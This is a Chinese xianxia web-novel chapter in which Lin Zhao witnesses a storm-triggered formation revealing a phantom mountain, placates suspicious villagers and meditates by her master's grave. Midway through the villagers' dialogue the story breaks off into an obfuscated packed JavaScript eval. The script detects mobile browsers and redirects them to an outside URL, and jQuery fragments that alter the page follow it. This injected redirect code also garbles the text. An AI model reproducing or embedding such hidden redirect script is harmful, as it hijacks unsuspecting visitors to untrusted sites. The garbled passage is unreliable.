天地树苗长到三尺高时，下了第一场秋雨。
不是细雨，是倾盆暴雨。铅灰色的云层从西北方向压过来，沉甸甸地坠在天边。风先到，吹得麦田倒伏，晒谷观屋顶的茅草簌簌作响。阿茸在羊圈里不安地踱步，每隔一会儿就抬头望天，喉咙里发出低沉的咕噜声。
林照站在观门口，看着天色。
“照姐，要收麦子吗？”豆苗拽着她的衣角，小脸上满是担忧。
“来不及了。”林照说，“雨太大，收进来也会霉。让它们在田里吧——麦子没那么娇贵，淋点雨，根扎得更深。”
她转身回屋，开始做暴雨前的准备。
灶房的水缸要加满，柴火要搬到屋里，漏雨的屋顶要临时修补。孩子们跟着她忙前忙后，李虎爬上屋顶，用备用的茅草堵住几个明显的破洞。雨水已经开始零星落下，砸在瓦片上啪嗒作响。
“虎哥，小心！”豆苗在下面喊。
李虎抹了把脸上的雨水，咧嘴一笑：“没事！这点雨算什——”
话没说完，一声炸雷在头顶响起。
不是普通的雷，是那种贴着地面滚过的闷雷，震得屋顶都在颤抖。紧接着，闪电像银蛇一样撕裂天空，瞬间照亮了整片山野。
李虎一个趔趄，差点从屋顶滑下来。林照眼疾手快，扶住梯子：“快下来！雷太近了！”
李虎连滚带爬地下梯子，脸色发白：“这雷……不对劲。”
确实不对劲。
雷声太密，闪电太亮，云层压得太低。而且林照能感觉到——不是用眼睛，是用“见云”境的感知——天地间的“气”在剧烈动荡。像一锅烧开的水，翻滚，沸腾，随时要溢出锅沿。
她想起阿茸说的：“山要来了。”
难道这场暴雨，和“山”有关？
雨终于下来了。
不是淅淅沥沥，是瓢泼倾盆。雨水像天河决了口，哗啦啦地倾倒下来。转眼间，晒谷场就积起了水，麦田变成一片汪洋，远处的山峦完全隐没在白茫茫的雨幕中。
林照让孩子们都待在堂屋里，自己站在门口看雨。
雨水从屋檐倾泻而下，形成一道水帘。她伸出手，接了一捧雨水。水很凉，很清澈，但在她的感知里，这场雨带着某种特别的“气息”——不是土腥味，是一种更古老、更沉重的气息，像封存了千年的山石突然见了天光。
“照姐，”豆苗小声说，“阿茸在叫。”
林照侧耳倾听。雨声太大，几乎淹没了其他声音。但她还是听见了——羊圈里传来阿茸急促的叫声，不是平时的“咩咩”，是那种带着惊恐的、短促的哀鸣。
她抓起斗笠戴上，冲进雨幕。
羊圈里，阿茸正用头撞击圈门，一下，又一下。它浑身湿透，白色的毛粘在身上，显得瘦骨嶙峋。看见林照，它停止撞击，但眼睛里的惊恐丝毫没有减少。
“阿茸，怎么了？”林照打开圈门走进去。
阿茸蹭到她身边，喉咙里发出“嗬嗬”的声音，像在努力说话。但它说不出来——自那天夜里说过“山要来了”之后，它再也没能说出完整的句子，只是偶尔会蹦出一两个模糊的音节。
但这一次，它抬起前蹄，在地上划拉。
雨水很快冲掉了痕迹，但林照看清楚了——阿茸划的是一个简单的图形：一座山，山上有一棵树。
然后它抬起头，看着后山方向。
林照顺着它的目光望去。雨幕中，后山只是一片模糊的影子。但她能感觉到，那里有什么东西正在苏醒。
不是青云剑派那些人——那些人昨天就撤走了，大概是觉得晒谷观这种穷乡僻壤藏不住周言那样的“疯子”。是别的东西，更深层，更古老，像埋在地底的种子终于要破土而出。
她拍拍阿茸的头：“别怕，我去看看。”
“咩……”阿茸咬住她的衣角，不让她走。
“放心，我很快就回来。”
林照挣脱阿茸，戴上斗笠，披上蓑衣，往后山走去。
山路泥泞，每一步都陷得很深。雨水打在斗笠上，噼啪作响，像无数小锤在敲打。风很大，几乎要把她吹倒。但她走得很稳，晒谷步法在这种恶劣天气里反而更显出优势——每一步都顺着风的力道，像麦秆在风中弯而不折。
走到半山腰时，她停住了。
前方就是那棵老松树，周言藏画稿的地方。但此刻，松树周围弥漫着一层淡淡的雾气——不是雨水形成的水雾，是某种乳白色的、缓缓流动的雾气。雾气中，隐约能看见松树的轮廓，但扭曲变形，像隔着一层毛玻璃。
更奇怪的是，雨水在这里改变了方向。
以松树为中心，方圆十丈内的雨水，不是垂直落下，而是呈螺旋状旋转，像被一个无形的漩涡吸了进去。雨水落进雾气中，发出轻微的“滋滋”声，像烧红的铁淬入冷水。
林照站在漩涡边缘，没有贸然进入。
她闭上眼睛，调动感知。
然后，她“看见”了。
松树下的土地里，有什么东西在发光——不是天地树那种温润的金光，是一种清冷的、银白色的光。光像水银一样在地底流动，沿着某种既定的轨迹，形成一个复杂的图案。图案的中心，正是那棵松树。
这是一个阵法。
但不是青云剑派那些人布的追踪阵。这个阵法更古老，更精妙，气息更宏大。阵法运转的节奏，和雨水的节奏，和风的节奏，甚至和远处天地树呼吸的节奏，隐隐呼应。
像一首交响乐，每个部分都在各自的声部里，但合在一起，奏出完整的乐章。
林照忽然明白了。
周言把画稿藏在这里，不是随便选的。这棵松树，这个位置，本身就是阵法的一部分。或者说，周言画里的那座山，和这个阵法有关？
她正想着，阵法忽然起了变化。
地底的银光骤然变亮，冲破了土壤的束缚，从松树的根系中迸发出来。光柱冲天而起，刺破了雨幕，直冲云霄。与此同时，天空中的雷声更密集了，闪电像银蛇一样缠绕在光柱周围，发出刺耳的噼啪声。
林照被强光刺得闭上眼睛。
再睁开时，她看见了毕生难忘的景象——
光柱中，浮现出一座山的虚影。
不是具体的山形，是一个轮廓，一个剪影，像海市蜃楼，像水中倒影。山很高，山顶隐没在云层里。山腰有层层叠叠的亭台楼阁，飞檐翘角，但都很模糊，像隔着一层纱。最清晰的是山顶——那里有一座小屋，很小，很朴素，屋前有一棵树。
树的样子……很像天地树苗，但要高大得多，枝叶要繁茂得多。
虚影只持续了三个呼吸的时间。
然后光柱消散，山影淡去，雨水恢复正常，雾气退散。一切恢复原状，仿佛刚才什么都没发生过。
只有松树下的土地，出现了一道裂缝——很细，很深，像被什么东西割开了一样。裂缝里，隐约能看见银光还在流动，但已经很微弱了。
林照站在原地，浑身湿透，但心里一片清明。
她知道了。
周言画里的山，不是“不存在”，是“未显现”。这座山一直在这里，在阵法里，在天地间，只是需要特定的条件——比如这场暴雨，比如天地树的生长，比如……某种时机——才会显露出轮廓。
而阿茸的预警，可能不是指山“要来”，是山“要显现”。
她转身，准备回观。
走了两步，又停住。
因为她听见了声音——不是雨声，不是雷声，是人声。从山下传来，很多人的声音，吵吵嚷嚷，正在往晒谷观方向去。
她心头一紧，加快脚步下山。
晒谷观门口，已经围了一群人。
约莫二三十个，都是附近的村民。男女老少都有，穿着蓑衣，戴着斗笠，脸上有惊恐，有愤怒，有好奇。李虎带着孩子们挡在观门口，脸色铁青。
“让开！”一个粗壮的汉子喊道，“我们要见观主！”
“观主不在！”李虎梗着脖子，“有什么事跟我说！”
“跟你说？你算老几！”汉子啐了一口，“刚才后山那道光，你们看见了吧？还有那雷，那闪电——肯定是你们晒谷观搞的鬼！”
“对！肯定是！”其他人附和，“自从老谷头死后，这观里就不太平！”
“还有那棵树——坟边上那棵发光的树！那是什么邪物？！”
“把它砍了！不然会招来灾祸！”
人群开始往前涌。
李虎张开手臂拦着，但挡不住这么多人。豆苗和其他孩子吓得脸色发白，缩在门后。
“都住手！”
林照的声音从人群后传来。
所有人回头。林照从雨幕中走来，浑身湿透，但眼神锐利得像出鞘的剑。她走到观门口，站在李虎身前，扫视众人：“有什么事，跟我说。”
粗壮汉子看见她，愣了一下：“你……你是林照？老谷头那个徒弟？”
“是。”
“你回来了正好！”汉子指着后山方向，“刚才那光，那山影，你看见了吧？还有你师父坟边上那棵发光的树——那到底是什么东西？是不是你们在搞什么邪术，招来了这些怪事？”
林照沉默了片刻，问：“你们觉得，那光，那山影，是坏事？”
“当然是坏事！”一个老妇人颤声道，“我活了七十岁，从没见过这种怪事！肯定是妖孽作祟！”
“那树也是！”另一个中年妇女说，“我昨天路过，看见那树在发光，还能听见它……它在呼吸！树怎么会呼吸？肯定是成了精！”
人群又骚动起来。
林照看着他们，看着这些熟悉的面孔——王婶，李叔，赵大爷……都是附近的村民，平时和晒谷观关系不错，老谷头在世时，常给他们看病，教他们种地。可现在，一场异象，就让他们变成这样。
她忽然想起师父说过的话：“人心如水，风平浪静时能照见月亮，风起浪涌时就什么都看不清了。”
“各位叔伯婶娘，”她开口，声音不大，但很清晰，“后山的光，坟边的树，都不是邪物，也不是妖孽。那是我师父临终前留下的传承——天地树的种子，种在坟边，是为了让师父的魂灵有所依托，也是为了保佑这片土地风调雨顺。”
“至于刚才的山影……”她顿了顿，“那是周言先生画的‘云外之境’。周先生是画师，在山上布了阵法，今日暴雨，阵法被激发，才显出山影。没有危害，只是……一幅画活了而已。”
这番解释半真半假，但听起来合理。
人群安静下来，面面相觑。
粗壮汉子将信将疑：“真的？”
“真的。”林照说，“我师父在世时，可曾害过任何人？可曾做过任何伤天害理的事？”
众人摇头。老谷头在时，确实是十里八乡公认的好人。
“那我呢？”林照继续问，“我从小在晒谷观长大，可曾做过对不起大家的事？”
“那倒没有……”王婶小声说，“你还帮我采过药呢。”
“既然如此，”林照看着他们，“请大家相信，晒谷观不会害人。天地树不会害人，周先生的画也不会害人。今日异象，只是机缘巧合，过了就过了。”
她顿了顿，语气柔和下来：“雨这么大，大家别在外面淋着了。都进观里喝碗热茶吧，驱驱寒。”
这话说得诚恳，众人的敌意消了大半。粗壮汉子挠挠头：“那……那树真不会害人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233481|197631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？”
“不会。”林照说，“你们要是不放心，可以随时来看。它就在那儿，不跑不躲，任你们看。”
最终，大部分人散了，只有几个好奇的跟着进观喝茶。
林照让李虎烧水，自己回屋换了身干衣服。出来时，堂屋里已经坐了几个人，捧着热茶，脸色缓和了许多。
王婶拉着她的手：“照儿啊，刚才大家也是被吓着了。你别往心里去。”
“不会。”林照笑笑，“换做是我，看见那些异象，也会害怕。”
“那树……真能保佑风调雨顺？”
“能。”林照说，“师父说过，天地树连天接地，能调和地气。种在坟边，师父的魂灵安宁，这片土地也会安宁。”
这解释安抚了众人的心。喝过茶，聊了几句家常，大家也都告辞了。
送走最后一个人，林照关上门，长舒一口气。
李虎走过来，低声说：“他们暂时信了，但以后……要是再有异象，恐怕没那么好糊弄了。”
“我知道。”林照说，“所以得想办法。”
“什么办法？”
林照没回答。她走到窗边，看着外面的雨。雨小了些，但还没停。远处，天地树苗在雨幕中散发着淡淡的金光，像黑夜里的灯塔。
她知道，今天的事只是一个开始。
天地树在长，阵法在运转，山影已经显现了一次，就会有第二次、第三次。青云剑派的人虽然走了，但可能还会回来。村民们虽然暂时安抚了，但疑虑还在。
而阿茸的预警，周言的画稿，师父的信，谷长青的话……所有这些，像一张拼图，还缺最关键的那几块。
她需要时间。
需要时间让天地树长大，需要时间破解阵法，需要时间弄明白“山要来了”到底是什么意思，需要时间……变得更强大。
强大到能守护这片土地，守护这些记忆，守护这些牵挂。
“李虎，”她转身，“从明天起，你带着孩子们，把观里观外都收拾收拾。该修的修，该补的补。药田要重新打理，麦子要尽快收——虽然淋了雨，但抢收回来，晒干了还能吃。”
“那你呢？”
“我要闭关几天。”林照说，“在师父坟边，守着天地树。有些事，得想明白。”
李虎看着她，眼神复杂，最终点点头：“好。观里的事交给我。”
夜里，雨停了。
月亮从云层后探出头来，银辉洒在湿漉漉的大地上。林照抱着一床薄被，来到老谷头坟边。
天地树苗已经长到四尺高了。树身晶莹，枝叶如金，在月光下美得不似凡物。树苗周围的土地，裂缝已经愈合，但仔细看，能看到细密的金色根系在地表若隐若现，像血管，像脉络。
她在树旁坐下，铺开被子。
阿茸从羊圈里溜出来，走到她身边，趴下，头枕在她腿上。
“你也感觉到了，对吗？”林照轻声问。
阿茸“咩”了一声，算是回答。
她摸着阿茸的头，看着树苗，开始调息。
这一次，不是为了“见云”，是为了“连接”。
连接天地树，连接这片土地，连接师父留下的所有记忆和馈赠。
呼吸渐深渐缓。
她能感觉到，树苗的根系在土地里延伸，一寸一寸，像探索的手指。根系所过之处，她能“看见”地底的世界——蚯蚓在松土，蚂蚁在筑巢，矿脉在沉睡，水脉在流动。
还能“看见”更深处——那些埋藏在时光里的记忆。
三百年前，开山祖师在这里打坐，感受到地脉的波动，写下“上接天光，中承风气，下连地脉”。
二百年前，一位观主在这里种下第一株天地树苗——虽然那棵树后来枯死了，但它的气息还留在地脉里。
一百年前，师父在这里突破金丹，天地共鸣，地涌金莲。
三年前，她在这里第一次感知到“气”，虽然微弱，但真实。
所有这些记忆，都像化石一样，埋在地底。现在，天地树的根系触碰到它们，唤醒它们，把它们传递给她。
她“看见”了一幅地图。
不是纸上的地图，是地脉的地图。晒谷观所在的位置，是一个“节点”——地脉交汇的节点。像人体的穴位，像星图的交点。
这个节点，连接着很多东西。
连接着后山的阵法，连接着周言画里的山，连接着更远处——那些她还没去过，但注定要去的地方。
她还“看见”了一条路。
不是地上的路，是地脉的路。从晒谷观出发，沿着地脉走向，可以到达很多地方。有的地方有灵泉，有的地方有矿脉，有的地方有古修洞府，有的地方……有“门”。
通往别处的门。
通往“云外之境”的门？
她不知道。
但这条路，和她心里的那座山，方向一致。
她睁开眼睛。
月光很亮，树苗很静，阿茸睡得很熟。
远处传来夜枭的叫声，凄厉而悠长。
她站起身，走到坟前，轻声说：“师父，我好像……找到路了。”
风从麦田吹过，麦浪沙沙作响。
像在回应。
像在祝福。
像在说：走吧，孩子。沿着你找到的路，去看你的山，去走你的道。
但要记得回家。
林照笑了。
她会的。
无论走多远，她都会记得回家的路。
因为家就在这里，在晒谷观，在麦田边，在师父的坟旁，在这棵正在长大的树下，在这只枕着她腿睡觉的羊身上。
在她的心里。
永远在。